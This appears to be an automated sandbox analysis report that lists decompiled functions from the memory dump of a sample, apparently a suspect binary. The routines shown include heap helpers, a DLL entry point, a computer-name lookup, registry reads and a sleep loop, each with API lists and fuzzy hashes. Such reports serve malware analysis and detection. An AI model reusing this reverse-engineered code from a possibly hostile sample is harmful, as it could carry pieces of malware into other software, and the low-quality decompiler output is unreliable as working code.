Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: Time$FileFreeHeapSystemlstrlenmbstowcsmemset
String ID:
API String ID: 1500278894-0
Opcode ID: c6954183bea536dfd9e05990a302b3f1cb3d1f12ddd1d6ab41129fdb177138a6
Instruction ID: 2b10abdc7f7ccd5c5b63a89eea61821f6504770bd23584003b5dc1cc0f5013e3
Opcode Fuzzy Hash: c6954183bea536dfd9e05990a302b3f1cb3d1f12ddd1d6ab41129fdb177138a6
Instruction Fuzzy Hash: 6E018432200289BBEB216F98DC44E9B7BB9EF84756F004429FA009A160FBB1E954D750

Uniqueness

Uniqueness Score: -1.00%

Function 04636207, Relevance: 3.0, APIs: 2, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(0463A513), ref: 04636220

Part of subcall function 0463219B: SysFreeString.OLEAUT32(?), ref: 0463227A

SysFreeString.OLEAUT32(00000000), ref: 04636261

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: 49d3817c36adc3ed6371fcdd1b0521940befbe028fdde11ec31bb6e6597c83f8
Instruction ID: 0a45180e6b23e56aa14dd31f8d61bfef02e5d68e9724fbed424ab6cf7ab33c79
Opcode Fuzzy Hash: 49d3817c36adc3ed6371fcdd1b0521940befbe028fdde11ec31bb6e6597c83f8
Instruction Fuzzy Hash: 0B01623651018ABFDB01DFA9D904D9F7BB9EF48611B014025FA08E7120F771DD15CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 046358DB, Relevance: 3.0, APIs: 2, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E046358DB(void* __ecx) {
				signed int _v8;
				void* _t15;
				void* _t19;
				void* _t20;
				void* _t22;
				intOrPtr* _t23;

				_t23 = __imp__;
				_t20 = 0;
				_v8 = _v8 & 0;
				 *_t23(3, 0,  &_v8, _t19, _t22, __ecx); // executed
				_t10 = _v8;
				if(_v8 != 0) {
					_t20 = E0463A71F(_t10 + 1);
					if(_t20 != 0) {
						_t15 =  *_t23(3, _t20,  &_v8); // executed
						if(_t15 != 0) {
							 *((char*)(_v8 + _t20)) = 0;
						} else {
							E0463A734(_t20);
							_t20 = 0;
						}
					}
				}
				return _t20;
			}

0x046358e0
0x046358eb
0x046358ed
0x046358f3
0x046358f5
0x046358fa
0x04635903
0x04635907
0x04635910
0x04635914
0x04635923
0x04635916
0x04635917
0x0463591c
0x0463591c
0x04635914
0x04635907
0x0463592c

APIs

GetComputerNameExA.KERNELBASE(00000003,00000000,04631FA0,7519F710,00000000,?,?,04631FA0), ref: 046358F3

Part of subcall function 0463A71F: RtlAllocateHeap.NTDLL(00000000,00000000,04635595), ref: 0463A72B

GetComputerNameExA.KERNELBASE(00000003,00000000,04631FA0,04631FA1,?,?,04631FA0), ref: 04635910

Part of subcall function 0463A734: RtlFreeHeap.NTDLL(00000000,00000000,04635637,00000000,?,?,00000000), ref: 0463A740

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: ComputerHeapName$AllocateFree
String ID:
API String ID: 187446995-0
Opcode ID: b3f7f797d62941c3d061fc2e9b8a4fb6e77761dacda8749d494346c01e716c60
Instruction ID: 79c5fcca4770b76fef11f55839fde8c781b1e9115a2fadcb494f08bbfd0ee5c3
Opcode Fuzzy Hash: b3f7f797d62941c3d061fc2e9b8a4fb6e77761dacda8749d494346c01e716c60
Instruction Fuzzy Hash: 44F0B4376001C9BAEB11D7998C40EAF36FCDBC4616F210059A501E3280FA70EE019770

Uniqueness

Uniqueness Score: -1.00%

Function 04634ECA, Relevance: 3.0, APIs: 2, Instructions: 26
COMMON

Download Yara Rule

C-Code - Quality: 100%

			_entry_(intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _t4;
				void* _t10;
				void* _t11;
				void* _t12;
				void* _t14;

				_t14 = 1;
				_t4 = _a8;
				if(_t4 == 0) {
					if(InterlockedDecrement(0x463d23c) == 0) {
						E04631B42();
					}
				} else {
					if(_t4 == 1 && InterlockedIncrement(0x463d23c) == 1) {
						_t10 = E046312E5(_t11, _t12, _a4); // executed
						if(_t10 != 0) {
							_t14 = 0;
						}
					}
				}
				return _t14;
			}

0x04634ed1
0x04634ed2
0x04634ed5
0x04634f07
0x04634f09
0x04634f09
0x04634ed7
0x04634ed8
0x04634eed
0x04634ef4
0x04634ef6
0x04634ef6
0x04634ef4
0x04634ed8
0x04634f11

APIs

InterlockedIncrement.KERNEL32(0463D23C), ref: 04634EDF

Part of subcall function 046312E5: HeapCreate.KERNELBASE(00000000,00400000,00000000,?,00000001,?,?,?,04634EF2,?), ref: 046312F8

InterlockedDecrement.KERNEL32(0463D23C), ref: 04634EFF

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: Interlocked$CreateDecrementHeapIncrement
String ID:
API String ID: 3834848776-0
Opcode ID: bde350a9eb3936b17bc15a9caacc7123a7d0dab120cf27856b2e5cfbc8fbe9ae
Instruction ID: e24d4afa78eccb66c0965817520e25230cba0d96a6d4c85e1ea8913a1f1f341d
Opcode Fuzzy Hash: bde350a9eb3936b17bc15a9caacc7123a7d0dab120cf27856b2e5cfbc8fbe9ae
Instruction Fuzzy Hash: 47E04F223081F557E7215FB49E08B5AE642EBD1B8BF09441CF581D1110FE20F84196A9

Uniqueness

Uniqueness Score: -1.00%

Function 0463161B, Relevance: 1.6, APIs: 1, Instructions: 75
memoryCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0463161B(signed int __eax, void* __ecx, intOrPtr* _a4, void** _a8, intOrPtr* _a12) {
				signed int _v5;
				signed int _v12;
				void* _t32;
				signed int _t37;
				signed int _t39;
				signed char _t45;
				void* _t49;
				char* _t51;
				signed int _t65;
				signed int _t66;
				signed int _t69;

				_v12 = _v12 & 0x00000000;
				_t69 = __eax;
				_t32 = RtlAllocateHeap( *0x463d238, 0, __eax << 2); // executed
				_t49 = _t32;
				if(_t49 == 0) {
					_v12 = 8;
				} else {
					 *_a8 = _t49;
					do {
						_t45 =  *_a4;
						asm("cdq");
						_t65 = 0x64;
						_t37 = (_t45 & 0x000000ff) / _t65;
						_v5 = _t37;
						if(_t37 != 0) {
							 *_t49 = _t37 + 0x30;
							_t49 = _t49 + 1;
							_t45 = _t45 + _t37 * 0x9c;
						}
						asm("cdq");
						_t66 = 0xa;
						_t39 = (_t45 & 0x000000ff) / _t66;
						if(_t39 != 0 || _v5 != _t39) {
							 *_t49 = _t39 + 0x30;
							_t49 = _t49 + 1;
							_t45 = _t45 + _t39 * 0xf6;
						}
						_a4 = _a4 + 1;
						 *_t49 = _t45 + 0x30;
						 *(_t49 + 1) = 0x2c;
						_t49 = _t49 + 2;
						_t69 = _t69 - 1;
					} while (_t69 != 0);
					_t51 = _t49 - 1;
					 *_a12 = _t51 -  *_a8;
					 *_t51 = 0;
				}
				return _v12;
			}

0x04631620
0x04631625
0x04631633
0x04631639
0x0463163d
0x046316ae
0x0463163f
0x04631643
0x04631646
0x04631649
0x04631650
0x04631651
0x04631652
0x04631654
0x04631659
0x04631660
0x04631666
0x04631667
0x04631667
0x0463166e
0x0463166f
0x04631670
0x04631674
0x04631680
0x04631686
0x04631687
0x04631687
0x04631689
0x0463168f
0x04631691
0x04631696
0x04631697
0x04631697
0x0463169d
0x046316a6
0x046316a8
0x046316ab
0x046316ba

APIs

RtlAllocateHeap.NTDLL(00000000,00000000,?), ref: 04631633

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 0c3fa71f0f838da30927689c8d6a54c501836c0783992f4096f9cc0df9b5d02d
Instruction ID: 15b6e1b850d41cada8e13eeff65d32345cd41717f50883276a7cebb07970e0ed
Opcode Fuzzy Hash: 0c3fa71f0f838da30927689c8d6a54c501836c0783992f4096f9cc0df9b5d02d
Instruction Fuzzy Hash: FE1106313453849FEB058F69D851BE9BBA9DF63319F18408EE4408B392D277990BC760

Uniqueness

Uniqueness Score: -1.00%

Function 046348F1, Relevance: 1.5, APIs: 1, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 34%

			E046348F1(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v12;
				void* _v18;
				char _v20;
				intOrPtr _t15;
				void* _t17;
				intOrPtr _t19;
				void* _t23;

				_v20 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_t15 =  *0x463d2a8; // 0xb2a5a8
				_t4 = _t15 + 0x463e39c; // 0x5168944
				_t20 = _t4;
				_t6 = _t15 + 0x463e124; // 0x650047
				_t17 = E0463219B(_t4, _a4, 0x80000002, _a8, _t6, _a12, _t4,  &_v20); // executed
				if(_t17 < 0) {
					_t23 = _t17;
				} else {
					_t23 = 8;
					if(_v20 != _t23) {
						_t23 = 1;
					} else {
						_t19 = E04632298(_t20, _v12);
						if(_t19 != 0) {
							 *_a16 = _t19;
							_t23 = 0;
						}
						__imp__#6(_v12);
					}
				}
				return _t23;
			}

0x046348fb
0x04634902
0x04634903
0x04634904
0x04634905
0x0463490b
0x04634910
0x04634910
0x0463491a
0x0463492c
0x04634933
0x04634961
0x04634935
0x04634937
0x0463493c
0x0463495e
0x0463493e
0x04634941
0x04634948
0x0463494d
0x0463494f
0x0463494f
0x04634954
0x04634954
0x0463493c
0x04634968

APIs

Part of subcall function 0463219B: SysFreeString.OLEAUT32(?), ref: 0463227A

Part of subcall function 04632298: lstrlenW.KERNEL32(004F0053,00000000,00000000,?,?,046384CA,004F0053,00000000,?), ref: 046322A1
Part of subcall function 04632298: memcpy.NTDLL(00000000,004F0053,?,?,00000002,?,?,046384CA,004F0053,00000000,?), ref: 046322CB
Part of subcall function 04632298: memset.NTDLL ref: 046322DF

SysFreeString.OLEAUT32(00000000), ref: 04634954

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeString$lstrlenmemcpymemset
String ID:
API String ID: 397948122-0
Opcode ID: 59788751fa45746eddf254f406b2331ae3f97ac0ec6f6f14017af4d03175afb4
Instruction ID: 6f671684cf3c62f74a9516b4450104edfbb903c053ae90332f070234fcf5cb3a
Opcode Fuzzy Hash: 59788751fa45746eddf254f406b2331ae3f97ac0ec6f6f14017af4d03175afb4
Instruction Fuzzy Hash: F4015A32500199BFEB11EFA8CC049AABBB8EB48656F004565EA04A71A0FB71ED21C7D0

Uniqueness

Uniqueness Score: -1.00%

Function 04631180, Relevance: 1.5, APIs: 1, Instructions: 41
memoryCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E04631180(signed int __eax, void* __ecx, intOrPtr* __esi, void* _a4) {
				char _v8;
				void* _t14;
				intOrPtr _t17;
				void* _t20;
				void* _t26;

				_push(__ecx);
				if(_a4 == 0 || __eax == 0) {
					_t26 = 0x57;
				} else {
					_t14 = E0463161B(__eax,  &_a4, _a4,  &_a4,  &_v8); // executed
					_t26 = _t14;
					if(_t26 == 0) {
						_t17 =  *0x463d2a8; // 0xb2a5a8
						_t9 = _t17 + 0x463ea38; // 0x444f4340
						_t20 = E04631DF4( *((intOrPtr*)(__esi + 4)),  *__esi, _t9, _a4, _v8, __esi + 8, __esi + 0xc); // executed
						_t26 = _t20;
						RtlFreeHeap( *0x463d238, 0, _a4); // executed
					}
				}
				return _t26;
			}

0x04631183
0x04631189
0x046311e0
0x0463118f
0x0463119a
0x0463119f
0x046311a3
0x046311b0
0x046311b8
0x046311c4
0x046311cc
0x046311d6
0x046311d6
0x046311a3
0x046311e5

APIs

Part of subcall function 0463161B: RtlAllocateHeap.NTDLL(00000000,00000000,?), ref: 04631633

Part of subcall function 04631DF4: lstrlen.KERNEL32(7519F710,?,00000000,?,7519F710), ref: 04631E28
Part of subcall function 04631DF4: StrStrA.SHLWAPI(00000000,?), ref: 04631E35
Part of subcall function 04631DF4: RtlAllocateHeap.NTDLL(00000000,?), ref: 04631E54

RtlFreeHeap.NTDLL(00000000,00000000,?,444F4340,00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,04633C3B), ref: 046311D6

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$Allocate$Freelstrlen
String ID:
API String ID: 2220322926-0
Opcode ID: a93166721007f7a3a04a9488e3f001d9bacc6bac330a27b044cba061ad62bb42
Instruction ID: c746282dd63cb8dc3b8ac5273bbdf0033cb5090b17580b478559cf55a6ddf297
Opcode Fuzzy Hash: a93166721007f7a3a04a9488e3f001d9bacc6bac330a27b044cba061ad62bb42
Instruction Fuzzy Hash: DC016936200148BFEB21CF84CC40EEABBB9EB55246F104029FA0586260FB31FE55DB60

Uniqueness

Uniqueness Score: -1.00%

Function 0463A734, Relevance: 1.5, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0463A734(void* _a4) {
				char _t2;

				_t2 = RtlFreeHeap( *0x463d238, 0, _a4); // executed
				return _t2;
			}

0x0463a740
0x0463a746

APIs

RtlFreeHeap.NTDLL(00000000,00000000,04635637,00000000,?,?,00000000), ref: 0463A740

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 343cce37231e09b7b6c511242e1239255a35f77f1dee2220cc506c267a5ab8f8
Instruction ID: f0979cf236c4055b3e52716ed7bbb9275d27b75445875186b3486354281ed11f
Opcode Fuzzy Hash: 343cce37231e09b7b6c511242e1239255a35f77f1dee2220cc506c267a5ab8f8
Instruction Fuzzy Hash: 41B01276100180ABDB118B40DE04F05FA21EB50702F005010B3041407093364C20FB15

Uniqueness

Uniqueness Score: -1.00%

Function 0463A71F, Relevance: 1.5, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0463A71F(long _a4) {
				void* _t2;

				_t2 = RtlAllocateHeap( *0x463d238, 0, _a4); // executed
				return _t2;
			}

0x0463a72b
0x0463a731

APIs

RtlAllocateHeap.NTDLL(00000000,00000000,04635595), ref: 0463A72B

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 796e3ac8b09898408900f4b882992980f48a20a62e935fa00a4bdc2c83cc2af5
Instruction ID: cbb9399e4e4a0b318210b93dabfc908e11a520dc749f9edb91b8080b574659fc
Opcode Fuzzy Hash: 796e3ac8b09898408900f4b882992980f48a20a62e935fa00a4bdc2c83cc2af5
Instruction Fuzzy Hash: 77B01233000180ABDB018F00DD08F05BB21FB50702F015110B3045407093364C60EB04

Uniqueness

Uniqueness Score: -1.00%

Function 04634776, Relevance: 1.3, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04634776(intOrPtr* __eax, void* __ecx, void* __edx, void* _a4, void** _a8) {
				int _v8;
				char _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				int _v60;
				char _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				char _v92;
				void* _t35;
				void* _t40;
				void* _t49;
				void* _t51;
				int _t57;
				void* _t60;
				void* _t61;

				_t51 = _a4;
				_t57 = 0;
				_t58 = __ecx;
				_v12 = 0;
				_v8 = 0;
				_a4 = 0;
				if(__ecx <= 0x40 ||  *__eax != 0x200) {
					L21:
					return _t57;
				} else {
					_t6 = _t58 - 0x40; // 0x4635249
					_t55 =  &_v92;
					_t35 = E04631000(__eax,  &_v92, __edx,  &_v92,  &_v12, _t51 + _t6);
					if(_t35 != 0) {
						goto L21;
					}
					_t59 = __ecx - 0x40;
					if(_v60 > __ecx - 0x40) {
						goto L21;
					}
					while( *((char*)(_t61 + _t35 - 0x48)) == 0) {
						_t35 = _t35 + 1;
						if(_t35 < 0x10) {
							continue;
						}
						_t57 = _v60;
						_t49 = E0463A71F(_t57);
						_a4 = _t49;
						_t70 = _t49;
						if(_t49 != 0) {
							_t57 = 0;
							L18:
							if(_t57 != 0) {
								goto L21;
							}
							L19:
							if(_a4 != 0) {
								E0463A734(_a4);
							}
							goto L21;
						}
						memcpy(_t49, _t51, _t57);
						L8:
						_t60 = _a4;
						E046390F4(_t55, _t70, _t60, _t57,  &_v28);
						if(_v28 != _v92 || _v24 != _v88 || _v20 != _v84 || _v16 != _v80) {
							L15:
							_t57 = 0;
							goto L19;
						} else {
							 *_a8 = _t60;
							goto L18;
						}
					}
					_t40 = E046337B8(_t59, _t51,  &_a4,  &_v8,  &_v76, 0); // executed
					__eflags = _t40;
					if(_t40 != 0) {
						_t57 = _v8;
						goto L18;
					}
					_t57 = _v60;
					__eflags = _v8 - _t57;
					if(__eflags >= 0) {
						goto L8;
					}
					goto L15;
				}
			}

0x0463477d
0x04634782
0x04634784
0x04634786
0x04634789
0x0463478c
0x04634792
0x04634866
0x0463486c
0x046347a4
0x046347a4
0x046347ad
0x046347b1
0x046347b8
0x00000000
0x00000000
0x046347be
0x046347c4
0x00000000
0x00000000
0x046347ca
0x046347d1
0x046347d5
0x00000000
0x00000000
0x046347d7
0x046347db
0x046347e0
0x046347e3
0x046347e5
0x0463484d
0x04634854
0x04634856
0x00000000
0x00000000
0x04634858
0x0463485c
0x04634861
0x04634861
0x00000000
0x0463485c
0x046347ea
0x046347f2
0x046347f2
0x046347fb
0x04634806
0x04634849
0x04634849
0x00000000
0x04634820
0x04634823
0x00000000
0x04634823
0x04634806
0x04634838
0x0463483d
0x0463483f
0x04634851
0x00000000
0x04634851
0x04634841
0x04634844
0x04634847
0x00000000
0x00000000
0x00000000
0x04634847

APIs

memcpy.NTDLL(00000000,04635289,?,?,?,04635289,04635249,00000002,04635289,04635289), ref: 046347EA

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 31d2aeb871fed480a51b5b04fc6f2b391b77cb89b72ef696dcf898d8526d7ca6
Instruction ID: 69942be098383e87339bbc0e824caa62ecfe071c3e1696f6b3e5f7bdaba9f575
Opcode Fuzzy Hash: 31d2aeb871fed480a51b5b04fc6f2b391b77cb89b72ef696dcf898d8526d7ca6
Instruction Fuzzy Hash: C8311E719001D8EADF11DF96C8849EEFBB9AF90356F11441AE515A7240FB34FA85CB50

Uniqueness

Uniqueness Score: -1.00%

Function 04635356, Relevance: 1.3, APIs: 1, Instructions: 43
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04635356(intOrPtr* __edi, void* _a4, void* _a8, unsigned int _a12) {
				void* _t21;
				void* _t22;
				signed int _t24;
				intOrPtr* _t26;
				void* _t27;

				_t26 = __edi;
				if(_a4 == 0) {
					L2:
					_t27 = E04638BC1(_a4, 0x80000002, _a8, _a12,  &_a4,  &_a12);
					if(_t27 == 0) {
						_t24 = _a12 >> 1;
						if(_t24 == 0) {
							_t27 = 2;
							HeapFree( *0x463d238, 0, _a4);
						} else {
							_t21 = _a4;
							 *((short*)(_t21 + _t24 * 2 - 2)) = 0;
							 *_t26 = _t21;
						}
					}
					L6:
					return _t27;
				}
				_t22 = E046348F1(_a4, _a8, _a12, __edi); // executed
				_t27 = _t22;
				if(_t27 == 0) {
					goto L6;
				}
				goto L2;
			}

0x04635356
0x0463535e
0x04635375
0x04635390
0x04635394
0x04635399
0x0463539b
0x046353ad
0x046353b9
0x0463539d
0x0463539d
0x046353a2
0x046353a7
0x046353a7
0x0463539b
0x046353bf
0x046353c3
0x046353c3
0x0463536a
0x0463536f
0x04635373
0x00000000
0x00000000
0x00000000

APIs

Part of subcall function 046348F1: SysFreeString.OLEAUT32(00000000), ref: 04634954

HeapFree.KERNEL32(00000000,00000000,00000000,80000002,7519F710,?,00000000,?,00000000,?,04638D51,?,004F0053,05169368,00000000,?), ref: 046353B9

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: Free$HeapString
String ID:
API String ID: 3806048269-0
Opcode ID: 19e177ba9cb22fee1474b51b4ed86c1e302ae910e2e5a39f002b07d1d3a62d53
Instruction ID: ddd8bc5353fd50ca1aaf2df328e7fbefc25814aeab90121d2753391cb57a1dfc
Opcode Fuzzy Hash: 19e177ba9cb22fee1474b51b4ed86c1e302ae910e2e5a39f002b07d1d3a62d53
Instruction Fuzzy Hash: 62011232501599BBDF229F94CC05EDE7BA5EF54791F448018FE069B220F771E960DB90

Uniqueness

Uniqueness Score: -1.00%

Function 04631AE2, Relevance: 1.3, APIs: 1, Instructions: 36
sleepCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E04631AE2(intOrPtr* __edi) {
				intOrPtr _v8;
				char _v12;
				intOrPtr _v16;
				intOrPtr _t15;
				intOrPtr* _t21;

				_t21 = __edi;
				_push( &_v12);
				_push(__edi);
				_v8 = 0x1d4c0;
				_t15 =  *((intOrPtr*)( *__edi + 0xe0))();
				while(1) {
					_v16 = _t15;
					Sleep(0x1f4); // executed
					if(_v12 == 4) {
						break;
					}
					if(_v8 == 0) {
						L4:
						_t15 =  *((intOrPtr*)( *_t21 + 0xe0))(_t21,  &_v12);
						continue;
					} else {
						if(_v8 <= 0x1f4) {
							_v16 = 0x80004004;
						} else {
							_v8 = _v8 - 0x1f4;
							goto L4;
						}
					}
					L8:
					return _v16;
				}
				goto L8;
			}

0x04631ae2
0x04631aef
0x04631af0
0x04631af1
0x04631af8
0x04631b26
0x04631b27
0x04631b2a
0x04631b30
0x00000000
0x00000000
0x04631b0f
0x04631b19
0x04631b20
0x00000000
0x04631b11
0x04631b14
0x04631b34
0x04631b16
0x04631b16
0x00000000
0x04631b16
0x04631b14
0x04631b3b
0x04631b41
0x04631b41
0x00000000

APIs

Sleep.KERNELBASE(000001F4), ref: 04631B2A

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: ed4b5380af62f07a38ce15b8e036512ae7d1456f021e15443a00d9ac334a521e
Instruction ID: a963677385eea7a58842907fc0b581aadcff688e637462aef55bd8e8e71bef2c
Opcode Fuzzy Hash: ed4b5380af62f07a38ce15b8e036512ae7d1456f021e15443a00d9ac334a521e
Instruction Fuzzy Hash: 05F0E775D01258EFDB00DB94C988AEDB7B8EF15306F1484EAE502A7240F7B46B85DF61

Uniqueness

Uniqueness Score: -1.00%

Function 04635D7D, Relevance: 1.3, APIs: 1, Instructions: 26
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04635D7D(intOrPtr _a4, intOrPtr _a8, void* _a12, intOrPtr _a16, WCHAR* _a20) {
				void* _t17;

				if(_a4 == 0) {
					L2:
					return E04636002(_a8, 1, _a12, _a16, _a20, lstrlenW(_a20) + _t14 + 2);
				}
				_t17 = E04636207(_a4, _a8, _a12, _a16, _a20); // executed
				if(_t17 != 0) {
					goto L2;
				}
				return _t17;
			}

0x04635d85
0x04635d9f
0x00000000
0x04635dbb
0x04635d96
0x04635d9d
0x00000000
0x00000000
0x04635dc2

APIs

lstrlenW.KERNEL32(?,?,?,04638708,3D0463C0,80000002,04633741,0463A513,74666F53,4D4C4B48,0463A513,?,3D0463C0,80000002,04633741,?), ref: 04635DA2

Part of subcall function 04636207: SysAllocString.OLEAUT32(0463A513), ref: 04636220
Part of subcall function 04636207: SysFreeString.OLEAUT32(00000000), ref: 04636261

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFreelstrlen
String ID:
API String ID: 3808004451-0
Opcode ID: 59e61073bb6823e1f6b78d9bcc6fe647c0c353c516b4ec6b96eea7ffac9f6b8a
Instruction ID: e19acb35c4385564c3165934b168899f332217f1fb9a619469975596688cb840
Opcode Fuzzy Hash: 59e61073bb6823e1f6b78d9bcc6fe647c0c353c516b4ec6b96eea7ffac9f6b8a
Instruction Fuzzy Hash: 03F0923200024EBFDF129F90DC0AE9A3F6AEB18355F048015FA1555160E732E5B1EBA4

Uniqueness

Uniqueness Score: -1.00%

Function 04634A09, Relevance: 1.3, APIs: 1, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04634A09(void* __edi, void* _a4) {
				int _t7;
				int _t12;

				_t7 = E04631526(__edi, _a4,  &_a4); // executed
				_t12 = _t7;
				if(_t12 != 0) {
					memcpy(__edi, _a4, _t12);
					 *((char*)(__edi + _t12)) = 0;
					E0463A734(_a4);
				}
				return _t12;
			}

0x04634a15
0x04634a1a
0x04634a1e
0x04634a25
0x04634a30
0x04634a34
0x04634a34
0x04634a3d

APIs

Part of subcall function 04631526: memcpy.NTDLL(00000000,00000090,00000002,00000002,04635289,00000008,04635289,04635289,?,0463A3FE,04635289), ref: 0463155C
Part of subcall function 04631526: memset.NTDLL ref: 046315D1
Part of subcall function 04631526: memset.NTDLL ref: 046315E5

memcpy.NTDLL(00000002,04635289,00000000,00000002,04635289,04635289,04635289,?,0463A3FE,04635289,?,04635289,00000002,?,?,04635D5E), ref: 04634A25

